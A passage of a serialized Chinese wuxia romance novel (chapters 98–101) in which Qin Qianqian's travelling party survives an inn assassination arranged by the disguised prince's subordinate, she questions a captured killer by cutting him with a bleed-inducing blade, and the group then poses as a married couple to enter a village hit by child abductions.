这没头没尾的话，听得她一头雾水。看她一脸疑惑的样子，白邵禾眼神从她脸上往下扫，停留在她擦伤的胳膊上。
“自己的伤还不好，就要赶着去追你的如意郎君？这不是不关心自己，那是什么。”这是他的心里话。
她总是这样，为了主人、为了任务、为了试探自己，从来都不把自己的身体放在第一位，还整日说什么要畅然赴死的话，想起这些，白邵禾就觉得有团火在心中灼烧。
她不该为任何人如此，姜千秋不行，晏信更不行。
秦千千失笑，这原本只是个玩笑而已。桑风雪她们都知道，自己叫晏信如意郎君，那只是句调侃而已，没想到他还当真了。
“这你可就看错我了，我可是最会损人利己的人！无奸不商，说的就是我这种人。”
白邵禾不愿再跟她谈论这件事情，便抬手轻轻托起她的胳膊，看着有些地方又洇出了血迹，就皱眉问她：“这里疼吗？”
她这时才发现血迹，估计是刚刚动作太大，伤口崩开了。只不过，为了马上上路的打算，她咬着牙说不疼。
“我没有说不同意现在启程，所以你没必要强撑下去。”白邵禾真不知道该拿她怎么办，他可没有秦千千那么能忍，于是索性把话说明白。
说罢，他起身去找王老怪，刚走到门口，秦千千就从他身边冒出来，朝桃花花的房间大喊：“救命啊，要死人了！”
白邵禾被她逗得笑出声，秦千千也借机用肩膀撞了下他的胳膊，有些怯怯地跟他说：“以后别冷着脸了，看得我有点害怕。”
她会怕？才怪！
只能说，她此时的演技没有那么好，让白邵禾看出了端倪。她就是在跟自己玩而已，除了顺着她，白邵禾也没有别的打算。
他无声点头，秦千千脸上刚挂上一抹笑容，王老怪他们一群人就冲过来，王老怪紧张兮兮地打量她到底怎么了。
“没什么大事，就是胳膊上伤口崩开了，你给我……，哎，别走啊！”秦千千急匆匆地跟着他离开。
桑风雪跟白邵禾眼神对上，她张嘴准备叫白邵禾出去，元德看情况不对，就悄悄推了一把冬芸。冬芸不小心撞在桃花花身后，桃花花转头问她怎么了。
“没，我就是想找白公子说点事情。”冬芸自小跟着爹娘跟人打交道，这些暗流涌动她还是看得清的。
白邵禾朝桑风雪点头示意，跟着冬芸走了。
桑风雪咬紧了后槽牙，东边不亮西边亮，她决定去找秦千千。她前脚踏进房间，秦千千刚好转头对上了她的眼神。
就在那一瞬间，秦千千心中懊悔万分。
完了，想跑也跑不掉了！这是她的第一想法，毕竟胳膊上的缚布刚被解开，她还是很惜命的。
“桑姐姐，怎么了吗？”
桑风雪潇洒地撩开长袍，坐在她右手边。看她们两个人互换了个眼神后，秦千千就知道，她们两个是一伙的。现在倒好，她被王老怪和桑姐姐一左一右夹击。
“是时候跟你说下这个事情了，你知道……”
“我知道。”秦千千立即打断她，只要没人戳破这层窗户纸，那她和白邵禾就还有转圜的余地。“桑姐姐，相信我，这件事情交给我自己去处理吧。”
秦千千一扫之前的吊儿郎当，十分认真地看着桑风雪。桑风雪不得不承认，她这个眼神，让自己窥到了一个人的影子。
那种势在必得又胜券在握的神情，除了姜千秋，她没在任何人身上见到过。
“我觉得还是有必要……”王老怪一边缠缚布，一边悠悠开口。
“你住嘴！”秦千千咬着牙警告他，她眼神下移两分，无奈地继续说：“让你住嘴不是让你住手。快些给我包扎好，我还要收拾收拾启程呢。”
没了沿途的大小信息，秦千千对前路又迷茫又期待，自己终于能迈向一段未知的路途了。
与之前的几次路上的状况不同，往常这时候，秦千千会讲一些沿途的风土人情、故事典故给大家解闷。可今天她可谓是格外的沉默，以至于，王老怪都有些不自在。
“秦老板，我这有几个铜板，要不你给我们讲两段故事听听吧？”他掂了掂手中的三个铜板，准备递给秦千千。
一直闭目养神
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的人没睁开眼睛，却把自己的手背在身后，无情地拒绝了他：“少来，三个铜板买不了秦老板开口。”
“嘁！”
“那我再加十两，买秦千千给我们讲个故事听，可以吗？”白邵禾没有由来地加磅，秦千千这个财迷自然不会拒绝。
她缓缓睁开眼，朝他摊开手。王老怪本想悄悄收回自己的三文钱，结果被秦千千打了一巴掌后，只能老老实实把钱放在她手上。
白邵禾掏出荷包，正准备把钱给她，秦千千却把三枚铜板也塞进了他的包里。
“帮我收着吧，你的那些也放进去。”
接下来，她没头没尾地讲了一个故事，听得众人都沉浸其中，白邵禾更是在其中读出了不一样的意思。
不知多久以前，有个小孩儿在天地间流浪。后来，她被一个人收养，那人教她本事，还给她好吃的好穿的。所以，她决定用一生去报答那个主人。
她讲的时候，神情悲伤，就连时常铁面无情的元德，都有些皱眉，在想她说的这个人是不是她自己。
白邵禾不喜欢先下结论，他抬头观察周围的人，桑风雪低眉沉思，看起来也特别为那人惋惜。一旁的桃花花，却是瞪着秦千千。难不成，讲的是桃花花和她的故事？
最后，她实在忍无可忍，就指着秦千千骂了起来。
“你干嘛讲我话本子里写的故事！”
……好吧，白邵禾无语地微微摇头，亏自己还想从中窥见些什么。
不过十两银子见证一场拳脚相加的比武大会，白邵禾还是觉得值得的。后来桃花花实在没劲儿了，就先被动认输了。
天蒙蒙亮，一行人赶到第一个途径的小镇——东大镇。在车上睡觉，总会把人睡得浑身疲惫。因此，这次找客栈，是白邵禾带头找的。
秦千千在一旁东倒西歪的，白邵禾还得抽空看着她。终于折腾好房间，看她躺下睡去后，他才离开。在走之前，桑风雪眼神复杂地看了眼他，却没再说什么。
白邵禾知道，这是秦千千跟她说好了，她应该不会再来找自己了。确认所有人都睡下后，他和元德就在光天化日下出门了。
上次做错了事情，简则明自当前来受罚。他早早到了东大镇，等的就是殿下到的这一天。虽然殿下还没来，但他早就跪在地上，身旁放着自己的佩剑。
白邵禾抬手阻止守门侍卫的请安，直接大步流星地进屋，经过简则明时，简则明的心提到了嗓子眼，但他丝毫不敢抬头。
“属下简则明，拜见殿下。”他头重重磕在青砖上，听得白邵禾微微蹙眉。
“知道叫你来要干什么吗？”元德守在殿下身边，开口问简则明。
简则明已经做好赴死的准备了，他坦然地点头，“属下丢失了信物，险些让殿下暴露，属下罪该万死！”说着，他又在地上磕了下头。
这下青砖上已经沾染了些血迹，元德气得噤声，让殿下见血，这可是犯大忌讳的事情，他这是不想活了！
“我听说，你筹措手下，想过来杀了秦千千？”白邵禾眼中闪过一丝杀意，语气却依旧十分平淡地问他。
98. 谁给你的胆子
作为行动前定下的计策，白邵禾当初的确是想靠伤害秦千千，来引出姜千秋的。
奈何姜千秋太狡猾，再加上白邵禾对秦千千的情谊，这个计划是万万不能实行的。
元德明白，殿下这次骤然震怒，完全是因为此事原本已经被轻轻揭过。但简则明此举，太容易暴露在秦千千眼前。
若是日后真相大白，她反应过来他们这样子试探她，那一切都来不及了。不过好在，他们的行动被杨长乐带人拦了下来。
“是，属下想为殿下分忧，所以……”
“谁给你的胆子，让你这么做的？”白邵禾语气染上两份愠怒，越过他组织暗杀行动，这简则明真是要翻了天啊！
元德赶紧出来打圆场，他不是怕殿下杀了简则明，而是怕殿下气坏了身体。不拿出最好的状态，很难糊弄过秦千千她们那一群人。
“好在你的人被拦了下来，不然后果不堪设想！”元德刚说完，简则明就眼神恍惚地抬头看了他一眼。
元德顿时屏住呼吸，走上前抓住他的衣领，声音微颤地问他：“你从哪里借兵了？”
当他们反应过来的时候，已经太迟了。
简则明自作聪明地盘了个大局，他暗中跟季春霖借了二十人，现在借着汇报的名头，把白邵禾与元德支到十里之外的这里，那边的人，早就开始动手了。
白邵禾脑中闪过平地惊雷，他来不及处置简则明，只能尽力往回赶。元德让人扣押了简则明，也马不停蹄地往回赶。
可两个人的武功差距在那里摆着，元德只能边听耳边呼啸的风声，边看着眼前越来越远的殿下。
完了，这下全完了。
桑风雪再谨慎，舟车劳顿之后，也是她最疲累的时候。因此躲过猛然落下的致命一击后，她还没来得及抽刀，就被人砍伤了左臂。
惊觉发生了什么后，她立马翻身踹翻床前的两个蒙面人，顺手抽出枕头下的长剑，开始跟这两个人缠斗了起来。
桑风雪边打边唤了几声秦千千，可惜房间那头完全没有回应。她根本没有机会过去找她，这边左支右绌，让她完全过不去。
眼前这两个人训练有素，武功高超，桑风雪这边挡下当头一剑后，直接反手抽出腰间的匕首，直直插进身后之人的喉咙。
杀死一人后，她还没来得及喘息，又有两个黑衣人补上来，就在缠斗间隙，桑风雪看了眼秦千千那边，她的心都凉了。
比起自己这边的三五个人，秦千千那边整整围了九个人！她又不会武功，桑风雪心中一惊，恐怕这次自己要失言于姜千秋了。
只不过奇怪的是，那些人慢慢收缩包围圈，并没有直接上去一招毙命。
与此同时，隔壁也传来桃花花和王老怪的尖叫。暗卫知道冬芸是殿下新收的线人，就象征性地砍了她两刀，驱逐她离开，并没有下死手。
冬芸被眼前的屠杀吓到，慌乱中她看到秦千千她们屋中有更多黑衣人，犹豫了一瞬间，她实在不敢进去，就只能抱着头跑下了楼。
楼下的人全都倒在桌子上、地上，没有血，但也把冬芸吓得要死，她尖叫一声晕倒在了地上。
转瞬间，桑风雪已经砍死了三个人，可还是没有离秦千千近一步。转头看，那边的人已经走到了秦千千的床前，为首的几个人直接举起了长剑。
突然，窗户从外面被打碎，一个身着黑绸暗纹长袍的人闯了进来。她甩手朝那边飞过去几个飞镖，直直打在那几个人的脖子后侧，血水飞溅，五个人当场倒地不起。
桑风雪看清来人后，算是喘了口气。姜千秋来了，那就好办了。姜千秋踩着地上尸体的刀，在刀飞起来的瞬间抓住刀柄，朝秦千千那边杀去。
她一个多余的动作都没有，格挡——反击——一刀毙命。
若是仔细观察，就会发现她身轻如燕，而且像是能看透他们的招式一样，总是在下一瞬间出现在黑衣人出刀看不到的地方，让他们举剑四顾心茫然。
因此，这几乎是单方面的屠杀。
桑风雪这边又缠斗两轮，那边的姜千秋已经杀完了人，比起查看起秦千千的状况，她先去救王老怪和桃花花了。
桑风雪这边刚收尾，姜千秋就带着桃花花和王老怪过来。姜千秋在，就没人敢随便造次。
王老怪也是按捺住想要叙旧的心，站在了床边。有姜千秋在，就没有他班门弄斧的必要。
血迹早已溅红了床榻，可秦千千还是脸上蒙着一块儿白布，一动不动。桑风雪扯过白布，扔在了地上。
姜千秋抬手掐着她的脖子，大拇指用力往左一拧，传来一阵清脆的“咔嚓”声，听得王老怪和桃花花耸着肩膀，感觉自己的脖子有些痛。
“咳咳……”秦千千一脸痛苦的咳嗽，看到姜千秋后，她还以为自己产生错觉了。“主人，你怎么……”
姜千秋可不打算等她慢慢清醒，直接扶着她的肩膀让她坐了起来。
“给你留了个活口，我要你从他口中审讯出东西来。在此之前，你最好亲眼盯着他，不能让他出半分差池。”
姜千秋说完，秦千千看着横尸遍野的房间发呆，桑风雪和王老怪都担心她没听到。另一边的桃花花则是想要捡起那块儿布，却被姜千秋冷着脸呵止。
“桃花。”
桃花花立马悻悻收回手，她最怕阁主了，因此只能乖巧地站在王老怪身旁，不敢言语。秦千千恍若大梦初醒，她不顾手上沾染了谁的血迹，黏黏糊糊的，就那么抓上了姜千秋的衣袖。
“主人，快些离开。”
姜千秋没有给其他人留下任何一点眼神，拍了拍秦千千的肚子后，就从窗户离开了。
剩下的人都从看姜千秋离开的背影，转到秦千千的肚子上。每个人的表情都很复杂，看得秦千千直接发了飙。
“哎！赶紧把人捆起来，你们还愣什么啊！”她肩头被血迹浸染，看着很吓人。不过，眼下她咬牙切齿的，
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也挺吓人的。
王老怪和桑风雪赶忙去捆人，桃花花却还想捡起那块儿方帕。秦千千毫不留情地打落她的手：“不要命了，这上面有毒药的啊！”
按照往常的力道，那一扭脖子，早就把秦千千扭死了，可她却因此清醒过来。王老怪不禁在心中感叹，还得是艺高人胆大的她啊！
桃花花就像着了迷一样，歪着头盯着那块儿方帕。
“千千，我见过这个方帕，可我一时想不到是在哪里见到的了。”
秦千千向来不怀疑桃花花在这方面的眼光，她拍拍床铺，让她坐下来慢慢想。她自己则是起身去查看俘虏，免得多生是非，还不如现在开始问询。
白邵禾急切地抬腿下马，跑进客栈后发现，楼下东倒西歪的人，他提到嗓子眼的心也几乎停跳。而楼梯口昏倒的冬芸，无疑又让他气血上涌一成。
连自己人都伤，那别人……
他三步并作两步跑上楼，想都没想就朝秦千千的房间跑了过去，那些横七竖八的尸体映入眼帘，他攥紧了双手咬着牙往里面走。
看到秦千千浑身是血地站在床前时，白邵禾一瞬间红了眼，他眼睛里再也容不下别人。
雪白的衣服与暗红的血迹形成鲜明的对比，刺眼的让他几乎睁不开眼睛，但又不能移开眼睛。
耳边满是嗡鸣，他无法思考，只能赶过去，双手钳着秦千千的肩头，上下打量她的伤势。
看到他这么紧张的样子，秦千千失笑，赶紧抬手拍拍他的胳膊，跟他说自己没事。
“真的，这都是那些杀手的血，我算是这场偷袭中，受伤最轻的人了。”看着他还是紧张的不行，秦千千低头看了眼自己红白色的亵衣，的确是看起来有些吓人。
白邵禾收紧双手，一把把她揽在自己怀里，他后怕地低头，轻轻把下巴抵在她的肩头。
“没事就好。”
这一瞬间，他终于懂穆元基为什么要囚禁那个人了。
这是只有他和穆元基知道的秘密，也是他说服穆元基跟他合作的最大缘由。
那个被囚之人不是穆元基的仇人，而是他情海浮沉中，最喜欢的人。她是一个铁面冷血的杀手，被培养成不腥风血雨就会无聊至死的人。
可穆元基怎么舍得让她出去九死一生，没办法，他就把她囚禁在府中。
此时此刻，白邵禾也想把秦千千关在自己身边，这样，她才不会受伤，不会让自己心惊胆战。
越是这么想，他环着她腰肢的手臂就收得越紧。直到秦千千小声抽气，他才赶忙松开了手。
原来是无意间，他勒到了秦千千胳膊上的伤口。她看他表情还是很不对劲儿，就抬手拍了拍他的后背，算是安慰。
元德刚进门，就看到那几个人站在一个人面前，看殿下的表情，以及屋里惨烈的战况，他觉得这人应该是死定了。
“说，谁派你来的！”秦千千半蹲在他面前，盯着那人，恶狠狠地开口。
99. 他以后就是我的最大敌人
那人的确受伤不重，王老怪和桑风雪一左一右按住他，就发现这人身上肌肉紧实，的确是个练家子。
白邵禾不担心他认出自己，因为一般等级的暗卫是见不到他的，除了元德、简则明、杨长乐些负责跟他碰头的人，基本上没人知道他就是穆轩岚。
“我是死侍，你有本事就杀了我吧。”那人往地上啐了口血沫，一脸视死如归的样子。
秦千千嗤笑一声，手探向自己的腰间，抽出一把通体漆黑、约莫有小臂长的短剑。剑身上雕刻着一种复杂的花纹，白邵禾可谓是从未见过。
而且自己明明还跟她相拥了一段时间，竟然都没有发现这把剑……
白邵禾脸色凝重，看来这肯定是她最重要的保命手段了。就是不知道，这短剑有什么来历。能让她贴身携带，应该是有什么说法的吧？
果然，秦千千下一秒就解答了他的困惑。
“谁说我不会杀你，只不过在杀你之前，我要问出一些事情而已。这陨阳剑是天外陨铁打制，锋利无比，而且它还有个最特殊的功效，那就是隔开的伤口会血流不止，所以——”
说到这里，她直接抽出短剑，慢条斯理地划开了那人的右手手腕。不过伤口不深，鲜血滴答滴答地往下流。
桑风雪和王老怪早就检查过，下巴也给卸了，现如今这人不会自裁，他只有一种死法。
那人咬牙看着自己的手腕，可他并不知道，自己越是激动，血液喷涌的越是快。
“再给你个机会，告诉我是谁派你来的。”秦千千冷着脸问他，紧接着就把剑抵在他脖子上。仿佛得不到想要的答案，她就要继续划下去了。
那人颇有骨气地别过头，秦千千钦佩地点头，手起刀落就在他脖子上划了一刀，那伤口只划破了皮肤，血迹慢慢顺着脖子流下去。
那感觉秦千千不能更清楚了，当初她被人割脖子的时候，血迹划过的地方痒痒的，可格外让人心慌。
以彼之道，还施彼身。
“还不说是吗？”这下，剑直直戳上他的肚子。
白邵禾目光下移几分，发现她不是瞎指的地方，那地方避开了所有脏器，除了折磨之外，的确不会立马夺人性命。
那杀手低头看了看她的刀，落尽耳中的滴答声，渐渐摧毁了他所有的信念。
比起手起刀落的畅快，秦千千用手心推着匕首，一寸一寸往里推，这种要更为折磨。
白邵禾抬眼看了眼元德，元德心领神会地站在桑风雪身后，没有往前走。这些暗卫都是见过元德的，他是万万不能露面的。
“我说！是穆轩岚派我们来的。”
“派你们来干什么，杀我们中的谁？”秦千千在自己袖子上擦干净剑刃上的血迹，收起了宝剑。
在她合上剑鞘前，白邵禾看到了剑身上有个依稀可辨的字——姜。
看来，这是姜千秋送她的啊。
元德心提到了嗓子眼，这人的回答，将会牵扯到无数人的生死。若是简则明还算聪明的话，就应该想到有今天这种情况。
他若是回答杀秦千千以及她的手下，那就等于直接把殿下和自己推进了火坑。
可他要是说要杀所有人，那么就又有一个问题，殿下和元德怎么平白无故消失了，这两个人是一起去哪里了？
这种进退维谷的局面，让元德暗中攥紧了双手，这简则明真的是难逃一死了……
“我们只接到任务，说要诛杀秦千千还有她的朋友，别的我们一概不知。”那人说完，目光坦诚地看着秦千千。
她看得出来，这应该就是真话。秦千千后退一步，给桑风雪递了个眼色，她直接把人脖子扭断，让他死了个痛快。
秦千千左手攥着匕首，开始在屋中踱步，她时不时蹲下来查看尸体。
白邵禾本想让她先换个衣服，她穿得单薄，现在虽然是白天，但还是有些阴冷的。
“千……”
“白公子，千千思考的时候，不喜欢有人打断她。”桑风雪当即打断他。
他不再言语，也查看起屋中的情况。残破的窗户大开，风呼呼吹进屋……他心中嗤笑一声，姜千秋还是出现了啊。
那窗户明显就是从外面闯入撞破的，再加上脚边这几个尸体死法一模一样，都是伤到命脉一镖毙命的。
白邵禾蹲了下去，也不嫌血污脏手，直接拔出其中一人脖子上插着的铁镖。
与别的有棱有角的飞镖不同，这个飞镖就像是放大版的铜板，周边光滑圆润，而且这几枚大小还不一，中间四四方方的开口很小。
最不可思议的是，这飞镖上面居然有铁锈。
白邵禾想不明白，秦千千用的剑都能特质了，这姜千秋居然还要用生锈的铁镖？从侧面看，那飞镖中间突出一些，倒放在手上到像是一个拍扁些的众鼎。
他脑中灵光一闪，走到窗前往外望去，这一看才发现这是什么东西。
原来是房檐上安置的惊鸟铃顶盖，日常风吹雨打，的确很容易生锈。放眼望去，的确有四五座阁楼，一脚的惊鸟铃少了些顶盖。
白邵禾心中对她的疑惑又多了一些，这人很是矛盾，又要干敛天下之财的事情，却又在一些方面非常大道至简。看不懂，自己真的看不懂她。
那边王老怪也没闲着，他赶忙给伤势最严重的桑风雪处理伤口。桃花花伤口不算太严重，因此他口头指导元德，让他给桃花花处理一下。
“穆轩岚，他以后就是我秦千千最大的敌人。”查看完所有的尸体后，秦千千忿忿地说道。
几次三番找自己的麻烦，她可不是什么好脾气、任人欺负的人。这次更是过分，竟然下这么重的死手。
她藏着的陨阳剑是主人给她打造的，主人也叮嘱过她，不到万不得已的时候，不能把这把剑亮出来。
她走之前的那个动作，就是在提醒自己，“万不得已”的时候已经到来了，或许从现在开始，她走的每一步，都有可能迈入无尽深渊。
这算是主人对自己最后的提醒了吧？
元德听到殿下的名讳，身
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体一下子紧绷起来，连带着手上的动作也没了分寸。
“嘶……”桃花花正在被他包扎手上的伤口，这一勒直接把她勒的痛呼出声。
“对不起，对不起！”元德赶紧道歉，桃花花摇头表示自己没事。
白邵禾望向窗外的眸色阴沉，他最担心的事情还是发生了。穆轩岚在她这里的风评越差，自己日后坦白身份就越困难。
看着自己逐渐声名狼藉，他却没有办法做什么，白邵禾只能苦笑一番。整理好表情，他转头走向秦千千。
“千千，这是怎么回事？”
桑风雪转头深深看了她们两个一眼，眼神复杂地很。
秦千千摇了摇头，她醒来的太迟，完全不知道发生了什么。“还是让桑姐姐她们给你讲吧，我知道的不比你多。”
不过秦千千还是腿脚发软，白邵禾抬手扶住她，两个人一同往桌子前走去。众人就坐在这横尸遍野的房间中，秦千千盯着桌上的茶壶出神。
等桑风雪、王老怪和桃花花，把事情都交代的差不多了的时候，秦千千抬眼看着白邵禾，又扫了一眼元德。
“看来我们被盯上很久了，他们甚至知道趁你们两个出去的时候，再发动攻击，一定是有备而来啊！”
“那穆轩岚为什么要这么做呢？”白邵禾佯装不解，反问秦千千。她眉头紧锁，摇了摇头。
“这我还真的不知道，我跟他完全没有什么过节的。之前我想找他呈报天海朝的事情，他完全没搭理我，可谁知道此次出行他多次阻挠我。”
秦千千是真的疑惑，不过转念一想穆元基，她觉得自己能猜个大概，“怕是也要找我主人的吧？跟他兄弟穆元基一样，只不过穆元基可没有动手要杀我们。”
白邵禾万万没想到，自己手下的这番举动，倒是给穆元基拉了点好名声……
呵！
“穆元基，穆元基……”说起他的名字，秦千千呢喃了好几遍，好像在想有关他的什么事情。
桃花花恍然大悟：“会不会是皇上想做一个事情，所以这两个皇子才前赴后继地要找到阁主。这个穆轩岚又不想让穆元基捷足先登，然后干脆要过来杀了你？”
秦千千听得认真，她刚刚的确是在想穆元基的动机。当初穆元基来找她的时候，整个人表情很是奇怪，看起来他并没有十分急迫。
换句话说，他有一些演戏的意味。若真是这样子的话，那他难不成在给死对头白邵禾打掩护？
秦千千也不能否认桃花花的说法，毕竟穆元基跟穆轩岚之前的过节太大，不一定是能和解的。
穆元基少时毒害穆轩岚，这的确是一桩很大的事情。可秦千千知道另一件事情，那是皇帝都不一定知道的事情。
穆轩岚手下的暗卫在监视穆元基时，不知是不是有意，反正放了他囚禁了很久的一个女刺客。
当时穆元基几乎要跟穆轩岚搏命，后来那刺客被穆元基找了回去，此事才作罢。
秦千千觉得，这个梁子可比之前所有的恩怨都大。
100. 是的，他就是那个新郎
“这两个人还能争什么，无非是皇位而已。不过明眼人都看得出来，他穆元基怎么争，拿什么争？”秦千千正在气头上，就不管不顾地把心里想说的话，都说了出来。
“当初我去找穆轩岚的时候，那不也是看准了，未来就是他的天下吗？”
想去提前拜个山头，结果他不给面子，这事儿也只能作罢。
白邵禾听得心情复杂，他万万没想到，当初的一个决定引发了后续这么多的事情。而且听她这个意思，日后是准备跟自己对着干了？
他心中冷笑一声，哪怕是加上她的助力，穆元基那个废物也毫无登基的希望。她若是想试试，那就让她试试也无妨。
秦千千个人的喜恶，说出去很有可能代表整个清风酒楼的立场。稍有不慎，就会落人口实。她没有蠢到那个程度，话题说到这里自然也该打住了。
“不说这个了，咱们还是早些离开吧。”秦千千话音刚落，余光就扫到门口出现一个人。
原来是昏在楼下的冬芸，秦千千起身催促所有人，赶紧去收拾东西离开。至于这满地狼藉……
“咱们太子爷既然敢做，那就要有收场打算。咱们早些离开，给他一些收拾现场的时间吧。”
要不是追人贩子的时间太过紧张，秦千千绝对要留下来跟他死磕到底的。现在不是意气用事的时候，因此，还是快些离开。
为了安全，秦千千这次不惜花了三份钱，租了三个马车。兵分三路，那就保留三份活下去的希望。
桑风雪带着桃花花和冬芸在最中间的马车中，元德跟王老怪在最前面的马车上，秦千千和白邵禾则是坐在最后面。
壁虎会断尾求生，秦千千的做法跟壁虎一样。
现在能冲她们来的，那就都是要找秦千千麻烦的。因此，白邵禾能懂，她自己排在最后的用意。
一行人匆匆离开，白邵禾特地让元德交代下去，看住简则明，他日后要清算所有事情。
知道危险早已消除后，白邵禾这才彻底放下心来，又恢复了往常那一副万事淡然的样子。
这几天秦千千都没有好好休息，再加上现在折腾的这一遭，让她上了车就哈欠连天。白邵禾直接起身坐在她身边，示意她倚在自己肩膀上。
秦千千也丝毫没有客气，就这么睡了过去。
直到第二天晌午，她们才遇到一个挑着担子的摊贩。被那似有若无的香气勾醒，秦千千这才缓缓睁开眼睛。她仰头上看，才发现自己不知何时起，倚在了他的怀里。
白邵禾微微侧身，让她头倚靠在自己肩颈处，然后右手穿过她的后背，扶在她的臂弯处，虚拢住她先前受伤的肘部。
这个姿势，颇为暧昧。
特别是秦千千抬头，看到他低垂的眉眼时，她这才发觉，两个人的距离居然这么近。
往常她受惊吓都会一蹦三尺高，可今天却不行。她都累的一觉睡到现在，更别说白邵禾了。睡觉还要保持这种难受的姿势，可真是难为他了。
秦千千又看了两眼那俊美如画的眉眼，不由得小声啧啧赞叹，“你若是日后娶妻生子，我都不敢想孩子会有多好看。”
说罢，她好像被自己的想法逗笑，低头浅笑起来。那笑容引起的小幅度颤动，通过白邵禾的胸腔，直击心脏。他掀开眼帘，眼中满是情意地看着她。
若是她抬头，就一定会明白他的心意，可是她没有。
秦千千低头看到了裸露在外的玉镯，就赶忙用嘴叼着袖子，把桌子藏在袖中。
这种稀罕物件儿，碰碎了指不定晏信要跟她闹个没玩的。想想她就后怕，只能日常好生优待着。
可白邵禾的眼睛突然冷淡下来，每当他看到秦千千如此宝贝这镯子时，他的心中总是有些不畅快。
“咕咕……”
秦千千的肚子很合时宜地叫了起来，她试着慢慢起身，尽量不吵醒白邵禾。没想到整个过程非常顺利，她下车往前面跑。
她走后，白邵禾缓缓睁开眼睛，那表情说不上开心也说不上难过。他听到秦千千敲前面的车窗，便顺手掀开眼前的轿帘，跟着跳了下去。
“前面有个馄饨摊，咱们去吃些饭吧。”秦千千喊了桑风雪，正准备往前面走，却看到走来的白邵禾。“我还想着让你再多睡会儿呢。”
白邵禾摇摇头，“走吧，去吃些饭。”
吃过饭后，秦千千才不得不面对眼前的窘境，因为走的太急，带的干粮不够。眼下最近的镇子，也得赶一天一夜，她们现有的干粮根本不够吃。
秦千千愁眉不展，白邵禾意有所指地看了眼那位老板，她立马反应过来：这老板家肯定是附近的，跟着他进村买些干粮，也是可以的嘛。
谁知，那老板却苦笑着婉拒了她。
“我们村子，现在不能外人进去。你们就算是跟我到了村口，也进不去啊。”白发老翁赚了她们不少钱，所以跟她们说话也都是和颜悦色的。
这话让秦千千心下一惊，看来她们这个方向还是走对了的，那个村子指不定就发生过丢小孩儿的事情。
“老板，村子里是发生了拐带小孩儿的事情吗？”她刚问完话，那老翁手里的筷子，吧嗒一声，掉在了地上。
看来，是猜对了。
原来，村子里过去三个月丢了十几个孩子，最后村长召集大家一合计，干脆把整个村子围起来，不准外人进出。
像他这种要进出做生意的人，千万不能把不认识的人带回去，不然，连他也得被赶出村。
“不过，前两天我们村里倒是去了两个人，一男一女，她们两个是夫妻，说是去找孩子的。我们村里都是些老实人，看她们那么可怜，就让她们先住下了。”
白邵禾心中冒出一个想法，只不过不等他说出口，秦千千就先一步道出了他的想法。
“巧了么不是，老伯！我们就是帮忙去找孩子的呀！”套近乎这种事情，秦千千那是手到擒来。
没几句话，她就把一行人塑造成，为了帮助找王老怪孩子，而组建的正义之队。而
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她和白邵禾，则被她说成新婚燕尔的夫妇。
为了增加可信度，秦千千还搬出了茅安镇的那场喜宴。
就这样，晏信被偷梁换柱成白邵禾。在座的人不说，老翁就不会知道，这压根不是同一个人。
“原来当时是你们两个啊！”老翁一脸惊奇地感叹，白邵禾没想到他居然也听说过那场婚事。
秦千千一脸见怪不怪的样子，这种事情不稀奇，原本这里离茅安镇就不算太远。因此发生一些少见的事情，消息是传的很快的。
那老翁见他们不怎么避讳，就坐下跟她们聊了起来。
“我听过路的人说，新郎跑路了？现在看来，你这是找到他了嘛！”
秦千千亲昵地挽上白邵禾的胳膊，“那可不是嘛，他长得这么出众，我追到哪里都得把他追上。”
白邵禾看了她一眼，才发觉她脸上洋溢的笑意十分真诚，仿佛她们就是一对心意相通的眷侣一样。
可他也看得清楚，秦千千眼底闪过一丝狡黠，不留痕迹地把话题转移到别的地方。
“所以老伯，你要是愿意引荐我们进村的话，我们说不准还能跟那两位夫妻结伴而行，人多，也更方便找那些小孩儿啊。”
那老翁皱眉沉思了两下，最后下了很大的决心，同意把她们带进村。
只不过他也提前把话说明白，到时候她们在村口等着，他去把村长喊出来，商议过后再决定让不让她们进村。
秦千千赶忙答应，只要能引荐，那一切就都好办。
众人等来长相凶神恶煞的村长，饶是见过各种世面的秦千千，也有些拿不住主意了。她抬头看了眼白邵禾，他察觉到她的不安，就自然地牵起她的手，安抚性地捏了两下。
“你们几位是什么情况？”
白邵禾跟他说完大概情况后，杜秋亮眼神考究地打量着所有人，目光最后落在了冬芸身上。
“这就是你们说救出的那位丫头？”跟质问秦千千不同，杜秋亮神色缓和了很多，连语气都放慢了两分。
冬芸拉着桃花花的手，使劲点头，“这些人真的是救我的好人，村长，你就让我们进村吧。”
杜秋亮看她一副病恹恹的样子，的确像是刚被救出来，还没恢复好。这附近他再清楚不过，过了他们兴江村，前后都要一天一夜才能有镇子。
这些个大人折腾的起，这小孩子就要遭罪了。
“罢了，你们跟我进村吧。不过我话说在前头，要是你们进村后村里出了什么事情，那你们就别怪村里的人拿你们发脾气。”
最近村子里人心惶惶，他为此也是身心俱疲，于是只能先把话说清楚，省得到时候，再闹什么不愉快。
“放心吧村长，我们不会给你们添麻烦的。”秦千千久违的开口，而后带着她们一行人，再加上三个马夫进了村。
村中每家都门户紧闭，唯独一个院子大门敞开。隔着院墙，秦千千看到了一男一女，在院子中吃饭。
“怎么是她们啊？”
101. 得饶人处不饶人
江湖上向来有很多悬赏杀人的召集令，那自然就会有很多赏金猎手。
为了酒楼的生意，秦千千也会跟很多赏金猎手保持不远不近的关系。有些赏金猎手也会为了接召集令，或者获取一些线索，而去找秦千千。
因此，江湖上不说百分百的赏金猎手她都认识，最起码九成她都见过。对方见没见过她就不好说了，毕竟，她在清风酒楼也不是谁都见的。
眼前的两个人就是这样。
秦千千认识她们，可她们不会知道自己是谁。
一行人分成两拨居住，男子都睡在村长杜秋亮家，女子都去他姐姐杜佳音家。至于新婚燕尔的人，杜秋亮也不愿意拆散人家。
“都说小别胜新婚，所以，你们两个还是住在一起吧。”
杜秋亮十分“善解人意”地把她们俩，跟先前进村的夫妻俩安顿在一起，反正那个院子有两间房，正好够她们两对夫妻住。
这下直接把人分散开，直接打乱了秦千千的计划，她原本想跟自己人交一下底，看来只能再找机会了。
桑风雪跟王老怪看着她和白邵禾离去的身影，眼中是说不出的复杂。她们都在担心，秦千千这次会玩脱。
到时候，就全都完了。
杜秋亮推开大门，跟院中的两人介绍起新来的二位。
“这两位一个是楚君，一个是历帆。你们帮她们收拾一下，我得去我姐那里帮忙了。”杜秋亮忙得很，就直接离开了。
秦千千打量着眼前两位衣着朴素，看起来三十岁上下的两位。她没想到，这两个人行走江湖居然还有些诚信，跟杜秋亮居然说的是自己的真名。
任楚君、邢历帆，这两位可都是赏金猎手榜上，赫赫有名的人物。她们两个人的确不是夫妻，但却是合作五年的伙伴。两个人一年达成的召集令，没有一百也有九十。
